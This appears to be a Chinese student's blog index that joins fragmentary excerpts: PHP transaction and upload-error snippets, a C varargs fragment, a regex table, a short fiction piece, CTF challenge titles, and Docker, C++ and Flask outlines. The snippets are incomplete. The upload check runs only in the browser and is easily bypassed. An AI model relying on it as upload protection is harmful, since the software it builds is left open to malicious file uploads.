    mysqli_query($conn, "ROLLBACK");     // 判断当执行失败时回滚
}
 
if(!mysqli_query($conn, "insert into runoob_transaction_test (id) values(9)"))
{
    mysqli_query($conn, "ROLLBACK");      // 判断执行失败时回滚
}
mysqli_commit($conn);            //执行事务
mysqli_close($conn);
?>

土豆豆豆豆豆

2024-10-11T09:48:50.000Z

# 第一章

# 绪论

这是一个关于土豆佬的故事...... 相传，在 FZU 的计院中，从建立以来，始终有一个以土豆自称的人。有人发现，每一届毕业学生都有关于土豆的印象，而且各不相同。有的人说他是一个打 CTF 的传奇人士，有人说他是一个经常在半夜行动的神秘人士，还有人说他是一个经常出入学校实验室，在里面偷偷搭服务器打 MC 的一个车万人，更可怕的是，虽然大家的印象大不相同，但是有一点是一样的，那就是 ---- 他似乎是某神秘组织的一个队长，没有人知道那是什么组织，但是学校中的种种迹象表明，他们确实存在且有着不可告人的秘密......

为此，FZU 的学生们自发成立了许多关于土豆的研究组织和调查组织。但是一无所获，直到 2024 届新生的到来......

“原来如此，就是你了，土豆！”

“你们大二的前辈都找不到的 Flag, 你不会真的以为，你们能这么轻易的找到吧？”

" 伟神之于你们，

就像豆哥之于我们。"

“难道说，学长你？！”

“你说的不对，

-------- 但是很快就会明白的，就在下一届新生来到之前。”

这是一个关于在 xxxxx 中逐步发现关于土豆真相的故事。

	document.querySelector('input[type="file"]').addEventListener('change', function(e) {
	const file = e.target.files[0];
	if (!file.type.startsWith('image/')) {
	alert('仅允许上传图片！');
	e.target.value = '';
	}
	});

	UPLOAD_ERR_OK - 值：0; 没有错误发生，文件上传成功。
	UPLOAD_ERR_INI_SIZE - 值：1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
	UPLOAD_ERR_FORM_SIZE - 值：2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
	UPLOAD_ERR_PARTIAL - 值：3; 文件只有部分被上传。
	UPLOAD_ERR_NO_FILE - 值：4; 没有文件被上传。
	UPLOAD_ERR_NO_TMP_DIR -其值为 6，找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
	UPLOAD_ERR_CANT_WRITE - 其值为 7，文件写入失败。PHP 5.1.0 引进。

	va_list valist;
	double sum = 0.0;
	int i;
	/* 为 num 个参数初始化 valist */
	va_start(valist, num);
	/* 访问所有赋给 valist 的参数 */
	for (i = 0; i < num; i++)
	{
	sum += va_arg(valist, int);
	}
	/* 清理为 valist 保留的内存 */
	va_end(valist);
	return sum/num;

模式	描述
^	匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性，^ 也匹配 '\n' 或 '\r' 之后的位置。
$	匹配输入字符串的结束位置。如果设置了 RegExp 对象的 Multiline 属性，$ 也匹配 '\n' 或 '\r' 之前的位置。
.	匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符，请使用像 '[.\n]' 的模式。
[...]	字符集合。匹配所包含的任意一个字符。例如， '[abc]' 可以匹配 "plain" 中的 'a'。
[^...]	负值字符集合。匹配未包含的任意字符。例如， '[^abc]' 可以匹配 "plain" 中的 'p'。
p1\|p2\|p3	匹配 p1 或 p2 或 p3。例如，'z\|food' 能匹配 "z" 或 "food"。'(z\|f) ood' 则匹配 "zood" 或 "food"。
*	匹配前面的子表达式零次或多次。例如，zo* 能匹配 "z" 以及 "zoo"。* 等价于 {0,}。
+	匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 "zo" 以及 "zoo"，但不能匹配 "z"。+ 等价于 {1,}。
	n 是一个非负整数。匹配确定的 n 次。例如，'o {2}' 不能匹配 "Bob" 中的 'o'，但是能匹配 "food" 中的两个 o。
	m 和 n 均为非负整数，其中 n <= m。最少匹配 n 次且最多匹配 m 次。

这就是--Potato

随便看看的题目

# [SUCTF 2019]EasySQL

# [ACTF2020 新生赛] Include1

# [GXYCTF2019]Ping Ping Ping1

# [极客大挑战 2019] LoveSQL1

挂一个

SSRF

# 正文

# 其他

docker

# 命令

# 架构

# Client

# Daemon

# Engine API

# Containers

# Images

# Registries

# Compose

# Swarm

# Networks

# Volumes

# 使用

# WEB

一点C-的碎碎念

# 一点疑惑

# 1.this 指针 (选 B)

# 2. 构造 / 析构函数的执行

# 3. 成员函数 & const&static

# 4. 重载

# 5. 对象与引用

# 各种库

# <iostream>& <iomanip>

# <string>

# <sstream>

# <vector>

# <algorithm>

# 1. 排序

# 2. 搜索

# 3. 复制

# 4. 比较

# 5. 修改

# PS 自定义比较函数

flask

# 基本概念

# 一个玩意儿

# 项目结构

# flask 路由

# 动态部分

# 路由规则

# 请求方法

# 路由转换器

# 路由函数返回

# 路由优先级

# 视图函数

# 接受数据

# 返回响应

# 处理请求和响应

# 处理错误

# 视图函数的装饰器

# 视图函数返回的状态码

# 模板渲染

# 创建

# 继承

Welcome to the Home Page!

# 控制结构

# 过滤器

# 可能有用的

# 数值操作

# 日期时间

# 列表 / 字典操作

# 逻辑判断

# 其他实用过滤器

# 链式调用示例

# 八。自定义过滤器

# 宏和模板包含

# 创建宏

{{ item.title }}

# 模板上下文